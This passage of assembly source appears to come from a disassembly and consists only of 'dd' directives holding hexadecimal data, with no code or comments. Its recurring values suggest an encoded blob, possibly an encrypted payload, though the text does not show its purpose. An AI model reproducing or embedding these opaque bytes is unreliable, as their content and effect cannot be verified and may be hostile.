		dd 28D0FADDh, 0DAD1CE92h, 0BCE2EAE9h, 23D06C0Eh, 440E3D36h
		dd 47BB905h, 5BD16537h,	0AFD16137h, 0ED41B330h,	0D5595368h
		dd 0B0B13256h, 0ECD6D8D7h, 0B54D3479h, 5DB138DBh, 683A5256h
		dd 57B1B159h, 20D03256h, 50BE3A23h, 0EAB13257h,	75A2DBAEh
		dd 98A3256h, 85476DAEh,	4FAEB36Bh, 0EF47CD50h, 0A91F3F67h
		dd 0C5CCB906h, 0EAB0B959h, 80483256h, 0EBD15201h, 0A3063D0Eh
		dd 0F8D0CE37h, 57B0BA59h, 0CB4D3256h, 63A54A3h,	0EBD8DA37h
		dd 13D13256h, 3B22C7ECh, 11BA13BDh, 6EBA535Dh, 5761B659h
		dd 0B8583256h, 21B13256h, 4F7BC148h, 2097D112h,	2F83C4FFh
		dd 6BDE3553h, 563A99A4h, 0A84467AEh, 84C4E0C4h,	0C33E3D50h
		dd 3B13256h, 75B13247h,	0BEEBADEBh, 2088A501h, 127FB947h
		dd 9B3545C6h, 10D16FE9h, 0EC8CE858h, 0EAB3B259h, 2DE03256h
		dd 0B6C40937h, 5DC9B659h, 24BE3256h, 57B13248h,	0ABA9BC59h
		dd 0C6583256h, 20B13256h, 5D2FCFB4h, 87BFCE7h, 2B67D419h
		dd 0C13CF355h, 0DCD738AAh
		dd 25BE5248h, 0D5B13250h, 0AB4DF1D7h, 8F3A54BFh, 4A56B237h
		dd 3DAFB8AFh, 0DF7AB330h, 3662B948h, 4241D1D6h,	0D5B1325Eh
		dd 0EF74B335h, 0CA8682A1h, 0BA9793BEh, 4858CA56h, 474ECDA9h
		dd 57B13244h, 4D62CF7Fh, 602FF2C4h, 0C62B7DE0h,	8CA5AE1h
		dd 0C73835FDh, 0E4D752AAh, 11BE6BEAh, 4B595387h, 0A44ECDA0h
		dd 0D5B13AD1h, 0E8323D56h, 15B13256h, 0A9586937h, 0CAB13256h
		dd 9D6F2370h, 0BD099B89h, 0D333CA76h, 0FCAD1854h, 1FEE9AE8h
		dd 303ACE08h, 0B3303DAAh, 3DB13256h, 2FD76B04h,	36C49FB9h
		dd 0BA58529Fh, 34B13256h, 8AF9C0C3h, 0B859C247h, 79346CFFh
		dd 0CF1945B2h, 0CF79B930h, 37B13E94h, 0ABB13EBEh, 636C0B56h
		dd 0C4AE7AF1h, 9CF0B4DBh, 0E3408285h, 8D0EADDh,	0AEB0B659h
		dd 0DC4D3256h, 0ABB9DBBAh, 0DD783256h, 4669FD10h, 0B132FCEAh
		dd 0BAA5DBAEh, 90D23256h, 0E8E6DF54h, 35FD717Ah, 929D7686h
		dd 11C66222h, 12E6EDB1h, 7AD1CE00h, 0BAB136DFh,	32095456h
		dd 0AEBFDB16h, 48DF3256h, 0CF344BA2h, 2E744501h, 842D12F8h
		dd 72586337h, 74B13256h, 0F0EDD4E3h, 47E2773Fh,	57B1325Ch
		dd 0FAD05C1h, 0B2D1FC31h, 0AF76D5ECh, 75B132AEh, 2D75256h
		dd 0B53BE0D7h, 2C33F537h, 56B71D21h, 42B13256h,	0D5B1325Ah
		dd 5DBF484Bh, 0C058B95Ch, 58A633F1h, 0A4B947DDh, 0A1AFB930h
		dd 57B133D4h, 113ACE56h, 0D39E476Dh, 0EAA7B859h, 64583256h
		dd 9DB13256h, 37F25067h, 5BDDCA1Ch, 781556E2h, 72B950C2h
		dd 0DAB96DDDh, 0EAB13EDBh, 73373D56h, 0B5B13256h, 5DB132D8h
		dd 0A16A3956h, 57B1A5D2h, 0ABB9DB56h, 85AF3256h, 16D10F27h
		dd 0AB8AFBD3h, 0BAE7B759h, 4E583256h, 44B13256h, 4F2CF080h
		dd 0C7515696h, 0D1EBADEBh, 9788A501h, 0F8BEB947h, 0BAB13251h
		dd 5DB0BC59h, 254D3256h, 0BE4D3E0Bh, 0ABB13251h, 91D20A5Ch
		dd 636D5E47h, 7E583E09h, 46B13256h, 3158F2A5h, 5EDAAD42h
		dd 0D8BE06F4h, 0ABB1325Eh, 0D5B3B159h, 8BD13256h, 9CA5F5D5h
		dd 0BAB13244h, 0C208E485h, 0BC256DF0h, 292016F1h, 0EF17F0BFh
		dd 8C58AFFCh, 34ECDA9h,	75B1325Eh, 5DA69E17h, 5CDE3AEEh
		dd 0A1AFB930h, 57B135D1h, 0AA323D56h, 20B13256h, 0E559C9D6h
		dd 75B2B2D2h, 53445256h, 5DB13253h, 980E056h, 0AC31538Bh
		dd 0C1353DBFh, 0B5B13255h, 6AD0DCDCh, 0F1BED9ADh, 0BAB1310Bh
		dd 5DBFDA36h, 83683256h, 0D42ECE84h, 9EDC197Fh,	0F91768A7h
		dd 55D7640Fh, 14EFB2C0h, 0BABADB36h, 0A9BB3256h, 5F820A6Ch
		dd 0E0E90B1Eh, 0E0F54F2h, 2E31533Ch, 0FA353DB4h, 89B13255h
		dd 0B552C9D6h, 5DB3D1D2h, 0A558CB56h, 3DB13256h, 59C960E9h
		dd 0ECB61DFBh, 6BD7E5DBh, 7A5255ADh, 0BAB3D8D2h, 5C3F3D56h
		dd 56B13256h, 57B0B459h, 2B493256h, 0B349C2B1h,	6ABEC9D7h
		dd 776EB659h, 3FBE3256h, 5DB13258h, 0AEB13BBFh,	0D7733956h
		dd 262DCD1h, 36310842h,	1131CBA6h, 0CB353D26h, 53B13254h
		dd 5DB1325Bh, 0CED9F45Ch, 0FDD9F27h, 65FC3CE6h,	0CB3A5458h
		dd 0E05EB336h, 25B258A5h, 0DBEE5336h, 7085436h,	4D315375h
		dd 0D7E052AEh, 0FDE9EE9Eh, 2E31530Fh, 8E353DEEh, 7AB13257h
		dd 0BAB13AD4h, 5F323D56h, 0CEB13256h, 528FB237h, 0AAFCB659h
		dd 5DBE3256h, 0EAB13258h, 75B13BBFh, 511DC756h,	64E92Bh
		dd 903115BFh, 67353D7Bh, 57B13257h, 0DAD90CD6h,	0EAB014D2h
		dd 7D3C3D56h, 0DAB13256h, 5DB1B459h, 51D03256h,	78C6B0D4h
		dd 0BC393D50h, 3CB13256h, 0EAB13244h, 7E6012CFh, 5107FB6Fh
		dd 1CFA7839h, 8A79A2h, 0DCD73536h, 13D75248h, 0D959FA67h
		dd 74B13256h, 2B462174h, 0D6671E5Dh, 43D670Dh, 5656B237h
		dd 57A5DBAEh, 2AF23256h, 78687BF3h, 0E87EA252h,	67298FB1h
		dd 578E7B75h, 0DCD75AE4h, 0A159B3ADh, 57B180D2h, 20D7CE56h
		dd 5CBECB48h, 0EAB13257h, 8556B2AFh, 0DB66B836h, 0DC4AB330h
		dd 3A353D96h, 58B13256h, 0ABB127D0h, 0D5A1DB56h, 25523256h
		dd 0EADA4EC9h, 38990B2Eh, 199C919Eh, 47D13EFDh,	57B1325Ch
		dd 0CFF57A60h, 0B3078862h, 12E468BFh, 63A0A9h, 0DA443479h
		dd 3C638559h, 0AEB9DB0Bh, 3ADC3256h, 0B9D6BAA1h, 9038D5FEh
		dd 230F52AAh, 0CB921524h, 0D642234Ah, 57585337h, 0F8B13256h
		dd 43C733F2h, 0A44B25FFh, 29CCB1D0h, 90343D57h,	7AB13254h
		dd 0BAB13AD0h, 5F3E3D56h, 0CEB13256h, 57A0DB37h, 68B93256h
		dd 0FFEA29AFh, 9E33EEEDh, 61F8E4B5h, 31CBB1CCh,	74AB67ECh
		dd 0AEA5DB50h, 73FA3256h, 89BB6EA3h, 0C4BEA911h, 2416BED3h
		dd 674C3CF6h, 0B5E11900h, 5DB123D9h, 0A53B3D56h, 0BEB13256h
		dd 0ABB13250h, 13C222B7h, 683A0231h, 739E45D4h,	0BAB9BB59h
		dd 3BD13256h, 11BEE5DDh, 5E5853A1h, 0EB13256h, 93789B08h
		dd 95736A68h, 15810E6Fh, 0DC718D59h, 9903FAD7h,	2CBE6A37h
		dd 57B133BFh, 0ABB0B659h, 5E483256h, 0C3817BECh, 7E585250h
		dd 0E9B13256h, 0E59CBD86h, 463F35F8h, 5C581D1Dh, 58B13256h
		dd 7472C264h, 0E243678Fh, 25D0459Fh, 3833B9A3h,	0A5B71D21h
		dd 9E8D0BAFh, 0D8BE6AAEh, 0ABB133F3h, 0D5A8B759h, 0FE583256h
		dd 2B13256h, 5C7F67DBh,	5BF98AF1h, 16E11D36h, 2A95E1ADh
		dd 42C4BBB8h, 0D5B1321Fh, 0EAB13DBFh, 0B5F0AD56h, 8A247D61h
		dd 4FD54805h, 84D0CF41h, 55497791h, 52B13256h, 0D5B11ABFh
		dd 8CE35256h, 9DEECCDDh, 0BAB13250h, 0F30F423h,	25D763CCh
		dd 90D06999h, 0ABB0CA13h, 0B3D13256h, 4944DBD7h, 2F6FB906h
		dd 810BB937h, 0A1B71D23h, 26BE2DDDh, 57B13244h,	0ABB13FBFh
		dd 0DBA45E56h, 0A480694Eh, 0D94596CDh, 61BAC20Eh, 5CBEB659h
		dd 1BD13256h, 46586300h, 0BDB13256h, 955E58E0h,	4B0FB215h
		dd 0B57A1E58h, 0B98CB07h, 838A5308h, 0AE33B759h, 5A583256h
		dd 0AEB13256h, 7C002FCAh, 0B0A571Ch, 0EC69F1Ch,	4FBD6FDDh
		dd 5D494FD5h, 0AEF2B659h, 0BED13256h, 0ABB13258h, 249FC913h
		dd 793699ABh, 57E8D44Eh, 0AE581A62h, 47B13256h,	0FC139C3Bh
		dd 342DF16Bh, 968A625Eh, 17B392A4h, 8B03D047h, 9C496F55h
		dd 0BAB1325Bh, 0F33D8476h, 449EE8A5h, 46D0401Bh, 0AFEEBBD1h
		dd 0D5BCDB36h, 0D403256h, 8C927074h, 110477EDh,	522E2D69h
		dd 0AEB130D3h, 36EE6256h, 0CBA5F5D5h, 0D5B121BFh, 0C0820956h
		dd 0CBB1DEB5h, 0B2130E77h, 1DA237CFh, 0AA975251h, 57B3B359h
		dd 0CAD13256h, 2ABFDB37h, 0E5D1CDA9h, 0F4E7C8E1h, 0B79A79A0h
		dd 6ED06900h, 0AEB6DB96h, 566C3256h, 9271913Bh,	6CD75276h
		dd 3D03093h, 75B13763h,	0BAB126BFh, 0BB921356h,	13A328F4h
		dd 56F27D83h, 8AA743CDh, 62BBA972h, 0F43A54B0h,	75B13EBFh
		dd 90327856h, 0B7460D45h, 529FFEB3h, 5BCCB90Dh,	0ABA9B159h
		dd 3CD13256h, 0EAB13247h, 63D3D077h, 46AD1D8Ah,	5370A077h
		dd 9BE7665Ah, 0AC31537Ah, 9E353DBDh, 0DAB13256h, 0EAB135D8h
		dd 743A3D56h, 46B13256h, 0A541D1D6h, 0A1C1C9D6h, 57B1A6D2h
		dd 0EC58C756h, 3CB13257h, 0EAB13246h, 0EC333992h, 0BC9574C9h
		dd 0D9CB4152h, 3FC43877h, 58583590h, 0ABB127DDh, 0D5A1DB56h
		dd 8CCA3256h, 7EC5D812h, 569E1E04h, 702522FAh, 0E9762709h
		dd 57B13257h, 0BA595256h, 0F8B13256h, 4935DE11h, 0D78A8D1Fh
		dd 0E520554Bh, 0FDB2353Fh, 0AE758D30h, 903A530Fh, 0ABA7B559h
		dd 0C4583256h, 0A8B13256h, 2E4BB99Bh, 67F947FDh, 5F1B9159h
		dd 0E3115122h, 37B4F2D5h
		dd 0CAE5FBD6h, 15095436h, 0C4E08C73h, 9CD04B5Fh, 0BAB13667h
		dd 5A7654A3h, 23BE3A59h, 57B13257h, 0CBAFB8A3h,	0DA52B237h
		dd 0EAB126BFh, 0DED0BE56h, 0BAE3E57Dh, 8A3789F2h, 532B0411h
		dd 33603150h, 0BD323DB5h, 0B5B13256h, 0EAB13EBEh, 0D5742856h
		dd 1D9835C9h, 0B934CB13h, 0CFD16C57h, 0D77AB237h, 0AAEEBAAEh
		dd 54BEC736h, 0EAB13252h, 6E208930h, 0B8F6F537h, 5DB13256h
		dd 0AEA3BC59h, 5A583256h, 0ECB13256h, 0AD2F3D7h, 33E0124Fh
		dd 4A3CA3F3h, 31D1F5DDh, 5DA0DBA7h, 0B3F33256h,	2ED0F891h
		dd 0FB128F3Eh, 2D0B2DAh, 8B9D146Eh, 75B0BC59h, 394D3256h
		dd 0DABE3496h, 0AEB1325Dh, 573E3D36h, 2BB13256h, 2DD0689Bh
		dd 0EAB24ABFh, 0F4D7CA56h, 0B521A268h, 5DB156D2h, 0A3373D56h
		dd 0BEB13256h, 0ABB1325Eh, 5A227EB4h, 4FE6E060h, 7A210CD6h
		dd 0BAB1B9D3h, 5A303D56h, 0A1B13256h, 57B133DDh, 0CD44CA56h
		dd 454E4CD7h, 0C4353DC6h, 9CB13256h, 0BAB13259h, 0DA63349Ch
		dd 0EAB4B206h, 27B45615h, 42D3CC5Ch, 0D5B1320Eh, 0EAB122BFh
		dd 36AC1456h, 0A9A17319h, 9F395EEBh, 92881699h,	3776B9CCh
		dd 0ABB126BFh, 22210E56h, 0FB856383h, 0D7AF272Ah, 787BCCF4h
		dd 0AEEC555Fh, 23BE6565h, 57B13256h, 7558530Fh,	3CB13254h
		dd 0EAB13242h, 456A4B7h, 8DDA46DCh, 170A8AC6h, 0F07EAE99h
		dd 4D246B85h, 0D33AB0DBh, 0D9583479h, 0F3B13256h, 0FD2F6F3Eh
		dd 0A026D002h, 0DF81323h, 0A85864AFh, 0F9B13256h, 507C0088h
		dd 474ECE80h, 0EC9E47A5h, 7A7139AAh, 0BAB16CD2h, 5DA2DB56h
		dd 260B3256h, 0A2D38906h, 0C8324B1Ch, 902250B7h, 2436924Bh
		dd 1579B996h, 0BAB7BA59h, 0D1BE3256h, 0AEB13256h, 57353D06h
		dd 0F0B13256h, 5E03BF37h, 8AB71D2Eh, 943152AEh,	0DBD052F1h
		dd 5D75DB37h, 0BA583256h, 8FB13256h, 6A5654CAh,	9224D65Fh
		dd 0F6920592h, 0DDDA25C6h, 0EC92AC90h, 9D305236h, 0F265C8E3h
		dd 367F8559h, 0AEDDF2D7h, 0DAD03BF6h, 0EAB133D7h, 0BB3ACB56h
		dd 0B8353D36h, 3DB13256h, 5A42B237h, 5F373D37h,	0A4B13256h
		dd 0D5B130D6h, 0BFD05256h, 75BDBB59h, 0BD583256h, 30B13256h
		dd 0ADC3A20h, 0A849DEC0h, 84C4E0C4h, 884DCE50h,	0EAB0B159h
		dd 5E483256h, 31D75298h, 0AAD0CAA8h, 0BB303D8Fh, 58B13256h
		dd 0ABB13DD6h, 0D5BBDB56h, 45583256h, 902D5F66h, 946DB518h
		dd 50313D08h, 47B13256h, 57B1325Eh, 0C3CBCD8Ch,	12151F2h
		dd 0EAB6DB36h, 94AD3256h, 3B5AF233h, 0D8BE65EBh, 0AEB13256h
		dd 2A32530Eh, 2EBE33AEh, 0D5B132F4h, 0EAB13FBFh, 0DA805856h
		dd 0A364BDDEh, 863C4708h, 0E7012713h, 57B9BE59h, 2BBE3256h
		dd 0D5B13254h, 1F1B5336h, 0F0BE8A30h, 0BAA1BE59h, 56583256h
		dd 4BB13256h, 0E625E636h, 0E6DF85D4h, 7ED770F8h, 0AC073DA3h
		dd 690F5257h, 53C7EFA7h, 5DB1325Fh, 4F45B5A0h, 0FC999A9Bh
		dd 0CB1A5396h, 0D5B123BEh, 0B880C556h, 3CB940BCh, 785663F0h
		dd 0CE3F7292h, 58305807h, 3F4D631Fh, 0ABA1DB0Eh, 0DB3E3256h
		dd 9DF879E4h, 0FA9D00A1h, 61A4D11Fh, 3DD0F25Bh,	0C06FB8E9h
		dd 92585325h, 0A4B13256h, 0D5B133DDh, 9732C756h, 0F0BE30AEh
		dd 0BAB132E7h, 560954AAh, 4A31529Fh, 9D3A548Dh,	0A41A5437h
		dd 0D5B120DEh, 0EABCDB56h, 0F1D33256h, 93FC199Fh, 343D75DBh
		dd 0CE8A43F0h, 36738D59h, 2FBE8A30h, 0FFED8D36h, 61D77C15h
		dd 0F6BE538Fh, 0BAB1325Eh, 5DB3BF59h, 0CFD13256h, 0EDD19930h
		dd 0D4CFA775h, 0D5B13CBFh, 8D416456h, 1807C11Ch, 0A8740E84h
		dd 3C719798h, 0AFF78459h, 57B138BFh, 926C8856h,	2B73638Dh
		dd 416784BCh, 75A6B159h, 0A8583256h, 75B13256h,	0DA4A0930h
		dd 7ABCC4ECh, 55B376E8h, 53BD327Ch, 0EAA0DB34h,	19B63256h
		dd 0A6ED952Ch, 2C38B0CDh, 1A33AEC2h, 0BE83864Dh, 0ABB13252h
		dd 2D15C1A3h, 0E5D1F5DDh, 75B134D6h, 0EA46B356h, 0B4A34CF5h
		dd 0AEB1325Eh, 0DBDB67D7h, 0E5264454h, 0DF586937h, 0D8B13256h
		dd 0CDDA75E4h, 43BEA19Ah, 3BD16BD9h, 0BDD9D0D7h, 36DBD3D6h
		dd 0CBEECE08h, 0D5B3B659h, 8BD13256h, 7A7853AAh, 0BAB13AD5h
		dd 5F323D56h, 0CEB13256h, 57B9F037h, 0ABB13FBFh, 86660056h
		dd 11DCDBA5h, 0C105F7E0h, 0DAE43253h, 4ED88830h, 0AEB3B059h
		dd 913B3256h, 0AA3A3D37h, 2DB13256h, 66BEDEDDh,	75B13251h
		dd 0BAB0B759h, 3D4D3256h, 0AE59C7AEh, 0DB13256h, 0CAAD8D7h
		dd 0D9583479h, 9B13256h, 18D3F18Dh, 24C4FB90h, 52DF1286h
		dd 0AEB124DCh, 57A0DB56h, 973D3256h, 1866D29h, 0C20F9BBBh
		dd 54D27187h, 537F0AF9h, 5DB1325Eh, 8854F67Bh, 26775761h
		dd 0CBB977DDh, 0D5B135BFh, 0F154A156h, 0AEF8A5F1h, 7E5FB330h
		dd 0D44953F9h, 81C44FD4h, 50303D50h, 0A4B13256h, 0D5B133D9h
		dd 0E5D0CA56h, 75B12FD4h, 0BC595256h, 0F0B13256h, 0CA7A427Ah
		dd 5E59691Bh, 3CB13256h, 0A55FA0AAh, 0E10149EBh, 7A785308h
		dd 0BAB120D8h, 5DBCDB56h, 5E103256h, 7DA2D58Eh,	0ACC7C015h
		dd 175249D0h, 2D13252h,	75B1325Ch, 3021875h, 1550BBC4h
		dd 2EBEBF5Fh, 57B13256h, 0AE3F3D09h, 6DB13256h,	0FAF90259h
		dd 0F6BE6737h, 0BAB13244h, 5DB13FBFh, 212EEA56h, 7BDBC7D4h
		dd 1C1D5371h, 393A78BEh, 0EABBB759h, 26D13256h,	0BA323D08h
		dd 3CB13256h, 0CE49F6D5h, 0ABD153A3h, 0ABB4BD59h, 54D73256h
		dd 8BAC388Ch, 75A1DB36h, 4C033256h, 0E18A93C3h,	0E4DCCC99h
		dd 0BB002497h, 0AB599A18h, 8FB13256h, 42F2D8D7h, 61583479h
		dd 2DB13256h, 994711E7h, 0B73727E2h, 192E237Fh,	1F3E1CFh
		dd 3C3D48FDh, 0EAB1325Eh, 14A08154h, 0D05E8620h, 5D497791h
		dd 0CEB13256h, 0E64BB930h, 0EE7653D7h, 0D5B132AAh, 55BE5256h
		dd 46D0CA9Ch, 0AA58CA96h, 0BBB13256h, 55FBCD3Ch, 0D122C713h
		dd 1E378B29h, 0B3BBF978h, 0E3582CDDh, 0BCB13256h, 0E7BC14DDh
		dd 59000C87h, 0D933B091h, 57B03479h, 0AE583256h, 1DB13256h
		dd 6CE5CED7h, 0E54AB330h, 0BD343DC6h, 52B13256h, 0AEB133D6h
		dd 0AC31C756h, 0D4353DBEh, 0B5B13252h, 5D6CF0D7h, 35D048BCh
		dd 0BAB137BFh, 0DF939556h, 55315A5Ch, 34353DBFh, 42B13252h
		dd 0D5B13253h, 0D1F3F828h, 7B3C3D11h, 53B13256h, 5DB1325Fh
		dd 0F6A17270h, 4BD88002h, 42D17240h, 0D5B13251h, 3526AFADh
		dd 237F60BBh, 0E141B930h, 0B64AB237h, 0AA99B659h, 45583256h
		dd 0BEB13256h, 6B8D0F43h, 791BA813h, 7CB9809Bh,	7A223D1Bh
		dd 0DD48721Fh, 22BEC2B1h, 57B1325Ah, 0ABB7BB59h, 5BBE3256h
		dd 0EAB13256h, 7A4AB330h, 55353DD6h, 3DB13255h,	46BBD1D6h
		dd 57B1325Fh, 6E1A79D2h, 43C8A5C1h, 393A54F9h, 0F7B2530Fh
		dd 0BC9822DBh, 5DB120BFh, 0A7B2CC56h, 85174AB0h, 9C3FEE31h
		dd 0EED71AEBh, 0AA0B46ADh, 75A4BC59h, 52D13256h, 5DB1325Ah
		dd 0FFBCE052h, 6E7F4C4Ah, 6CEF29E0h, 55D0CA08h,	6EBED0ADh
		dd 75B131D2h, 0BC303D36h, 0DCB13256h, 0D88C6197h, 369D8523h
		dd 0A452C9D6h, 0D5B219D2h, 6BD7CE56h, 7A5255ADh, 0BAB26DD2h
		dd 0BE31CA56h, 11D752A6h, 0D7D09171h, 2FBE42ADh, 0D5B13108h
		dd 0F43A54AFh, 75B121BFh, 79172956h, 0D317EE29h, 4E6934Fh
		dd 1CE1CAB8h, 86DD4261h, 0D5B9DB36h, 87073256h,	67740E84h
		dd 3AD09798h, 0DCBECAB5h, 0AEB1325Ah, 57B135BFh, 0B4D8F556h
		dd 5A3AD24Fh, 0EAB9DA36h, 0AE483256h, 8F618B47h, 0B5EB3950h
		dd 0AEB1325Fh, 43ADF529h
		dd 66254259h, 8FEA60CBh, 524AB237h, 74DDB659h, 3A493256h
		dd 0D9BE3768h, 0AEB13334h, 57A3B359h, 0A4D13256h, 0D5B132D2h
		dd 0EAB4DB56h, 52F73256h, 0DB6573FDh, 529C0CD6h, 0AEB073D2h
		dd 56333D56h, 5EB13256h, 0D5B13EBFh, 4E369456h,	0E6D4C076h
		dd 0EEB7C6A0h, 358FB2C6h, 0AF91B659h, 31D13256h, 0EBD0CADDh
		dd 0D5BBB259h, 60D13256h, 753A3D88h, 0DBB13256h, 2A33B0A9h
		dd 0CFD13479h, 37AFB930h, 0CD67DFD6h, 0EF16FDD7h, 1256B237h
		dd 75B120BFh, 64EE2256h, 0D76B96E7h, 84CF52B9h,	5F7F6DD6h
		dd 0CD83DE83h, 3D30C9D7h, 0EA61B659h, 134D3256h, 0A8582CDDh
		dd 9DB13256h, 2AA3E35h,	0B90EE4C7h, 0DBB6E2EDh,	0AE845D4Ah
		dd 1A56B2DEh, 8E3054AFh, 3EBEF2D7h, 5DB132F0h, 26BE52A3h
		dd 57B13258h, 0AB353D36h, 54B13256h, 0A4697D8Fh, 0F1BE5307h
		dd 0BAB13257h, 0D7BE67AEh, 0AEB13246h, 57B139BFh, 659B7656h
		dd 0A8EC337Bh, 566ED2FBh, 63A0A9h, 0B5D13479h, 5DB130D9h
		dd 0C843B956h, 362B7AEDh, 20D7520Bh, 1CE58AACh,	63D01449h
		dd 0F9BECE13h, 0BAB1325Bh, 5DB13ABFh, 8A6C3556h, 1BED0501h
		dd 0A0383D93h, 0B5B13256h, 0E566B930h, 75B132DEh, 0B5D05356h
		dd 5DB13DD3h, 0AEBBDB56h, 2983256h, 202BBE14h, 3BDE3D8Fh
		dd 0EB4D4FD5h, 73A8B759h, 0BD583256h, 53B13256h, 7614A4E9h
		dd 0ED3AF854h, 0AD982803h, 8D4D6536h, 8B7FB930h, 0C4D15206h
		dd 31D0539Eh, 72C6B0D4h, 0AEBBDB50h, 0F84E3256h, 0AD65E820h
		dd 0DE299E62h, 3810E6Fh, 75B13246h, 0F419F17Fh,	8C070D1Ah
		dd 67046197h, 0FDBF454Ch, 6F333D0Eh, 20B13253h,	0DAF888DDh
		dd 2549347Fh, 0BAB0B659h, 0D6443256h, 81C6B0D4h, 57A2DB50h
		dd 99643256h, 6DDA75E4h, 13BEA19Ah, 78728ED9h, 0F34070CEh
		dd 6D8D0BFBh, 0AEB139BFh, 3B42DA56h, 0C6AC530h,	0B7D2DC81h
		dd 963E3D0Eh, 7AB13253h, 0BAB13AD0h, 5F383D56h,	0CEB13256h
		dd 0ED3AC737h, 0AD9E471Ah, 9933B1AAh, 0FEB71D23h, 7A86BBAAh
		dd 0BAB133D9h, 1A38CE56h, 5B495246h, 0E7D16237h, 0ABBBDBD9h
		dd 824C3256h, 2526FFC0h, 96C8D8F5h, 3833B937h, 3DB71D21h
		dd 0F5A68D30h, 5069B330h, 0B73A5387h, 0D5B6DB66h, 6A5F3256h
		dd 3F6F0425h, 0B1586AC2h, 0F6B13256h, 617D0630h, 0B50D12D8h
		dd 0CDD181F9h, 0E85EFCD7h, 0EAB139BEh, 0AFEF5656h, 8D1BF4FAh
		dd 0E9D46F6Fh, 0AEB138BEh, 28D7056h, 9F524091h,	8ABAAEFDh
		dd 0B5385308h, 0AD58CA5Eh, 4FB13252h, 5F497791h, 0CEB13256h
		dd 57B126BFh, 2AF67A56h, 0CC6E5197h, 4F686376h,	0F48EBFC7h
		dd 0AD63C4DFh, 5F0E54EBh, 895853CEh, 0BEB13256h, 0ABB13246h
		dd 855F8095h, 0F495AC77h, 0E90672B5h, 5260CD01h, 5C497791h
		dd 47B13256h, 57B13250h, 0F1DDD59Dh, 6F3A7605h,	0EC9E471Ah
		dd 3933B1A3h, 0AEB71D23h, 5DB135BFh, 5CBBBE56h,	0F045EF41h
		dd 21BE05DFh, 0D5B13242h, 0EAB13DBFh, 97CAE556h, 0F0580412h
		dd 74ACF6F3h, 55F05A6Bh, 0BEA175DFh, 0ABB1325Fh, 58019F9Bh
		dd 0BD7372BEh, 7649B183h, 0BAD5B759h, 0D4BE3256h, 0AEB13251h
		dd 57B0BD59h, 6C443256h, 0FAC6B0D4h, 0EAB13050h, 0CED75256h
		dd 0B65811F5h, 0D9B13256h, 5844D4EAh, 0C9F538E0h, 0CABE7D07h
		dd 0D5B17FBFh, 0EAA2DB56h, 693256h, 9C4FD4B1h, 0D2C9070Ch
		dd 6AB56313h, 4542D4C4h, 0B8333D6Ah, 3CB13256h,	0EAB13258h
		dd 0AB666512h, 69C365EFh, 3E50409Bh, 563267E9h,	503C3D54h
		dd 42B13254h, 0D5B13258h, 0E8FF944Ah, 0E53CDAE6h, 2F894E88h
		dd 20320725h, 2ABE32AEh, 57B132EDh, 0ABB123BFh,	0ED2AF056h
		dd 0A0F0FBFCh, 0E212D8DBh, 0DEFE9203h, 0EBBE0CC7h, 0C8D13310h
		dd 58A041E9h, 0ABB134D8h, 0D5343D56h, 8BB13256h, 75B1B2FFh
		dd 0F3343D56h, 3DB13256h, 0EF74F2D7h, 0D6D727CDh, 0CA7978B5h
		dd 0D5BDDB16h, 48B83256h, 9957B7C5h, 0E0FFBC43h, 0B532A19Bh
		dd 0AEA1DB53h, 0B0373256h, 0B7EAE7F7h, 644A543Eh, 2466B589h
		dd 37585446h, 0B5B13256h, 5DB135D7h, 0CFD15256h, 3667B930h
		dd 0ABB1CD7Bh, 0C7585256h, 25B13256h, 0AC64FDAFh, 842A4AB7h
		dd 64592E8Dh, 0B51EA8EEh, 2A0E54B7h, 433253C7h,	26305253h
		dd 9B0D0193h, 75B3B759h, 71073256h, 5DF1DB37h, 0FD483256h
		dd 57ABBA59h, 0A4D13256h, 0C558EDE1h, 0FFB13256h, 1755A245h
		dd 0EC2366AEh, 0A6A294FDh, 0CF52EABAh, 2033A8DDh, 0CDD13479h
		dd 5ED0FADDh, 0E5D10152h, 75B131D1h, 7A0E3D56h,	3DEA53AEh
		dd 0AE1853AEh, 58313256h, 0ABB1B7D3h, 54D75256h, 6ADFB38Eh
		dd 76D03C8Fh, 0BAB4DB90h, 16A63256h, 2DFDBE6Ah,	0D2BE3796h
		dd 0ABB1325Eh, 0D5B3BF59h, 8BD13256h, 233B055h,	31BE3479h
		dd 5DB1325Fh, 5F30C736h, 62F2B7C6h, 0AA393D37h,	2CB13256h
		dd 0EAB8DB1Eh, 0B9B3256h, 1B362B9Ah, 0D4DDE5A3h, 0BA583A11h
		dd 9FB13256h, 7492DAC0h, 34AB598Fh, 0C331B62Dh,	0E7C9402Ch
		dd 33C28B64h, 3BD13E11h, 0C7ADD5D7h, 45FEE5D7h,	42D06962h
		dd 0D5B13075h, 3246C7AFh, 75BDB659h, 3BBE3256h,	5DB13250h
		dd 0AEB1B959h, 919A3256h, 5E69C5A3h, 2CB4F2D5h,	9D33B055h
		dd 0F9BE3479h, 0BAB13257h, 0D44D7AAAh, 25D13A11h, 0DED0CA80h
		dd 0A6583E11h, 5BB13256h, 35E64E5Dh, 0A5CC8FBh,	9D2C7990h
		dd 5DB0E0BFh, 0A558CE56h, 9DB13256h, 643F76ACh,	0A29D2C6h
		dd 2A82FB72h, 75BBB459h, 0FD13256h, 5D3A3DDAh, 0CFB13256h
		dd 37B074DCh, 713AEDDDh, 0DA319A37h, 0EAB039D3h, 9CE25256h
		dd 0BAB13251h, 2FD89209h, 0F7444C53h, 8968B330h, 2BBE5332h
		dd 0D5B1325Ch, 6BD05236h, 41137395h, 7CB25346h,	5DB139BFh
		dd 86CF5C56h, 1ED088C7h, 0BB95FA6Bh, 0DAB3F2D5h, 0EAB12AD2h
		dd 75A2DB56h, 39283256h, 8FC4E715h, 700B3E02h, 2C113330h
		dd 5CEBAA23h, 0D5B9DB49h, 0F7323256h, 0C9295588h, 0BB0A826Ch
		dd 3DB13256h, 0AEB139BFh, 4E384856h, 20DF5F8Ch,	0C1E7A73Bh
		dd 9A6D8D30h, 7A6A3937h, 0BAB11FD2h, 0C73BCE56h, 0A89FFAADh
		dd 57B139BFh, 0A8BE0F56h, 0F871A53Eh, 9DE0A485h, 15B0D1D6h
		dd 0B27EB330h, 5B363D39h, 0A1B13256h, 57B132DCh, 68B25356h
		dd 0D5B120BFh, 40955856h, 0ACCA762Bh, 0B58CD89h, 6769DF0Bh
		dd 471307F2h, 57B13245h, 0F2670171h, 1940EE4h, 69F6E8CDh
		dd 15908807h, 338254E6h, 4F583A11h, 8B13256h, 0DDAAB03Bh
		dd 3C4F0B10h, 9BA37750h, 0E7D64BA0h, 79F6BB42h,	0BA24DBA3h
		dd 0A84D3256h, 0A758EAA1h, 72B13256h, 0FF8C0FCAh, 0B5DA1D17h
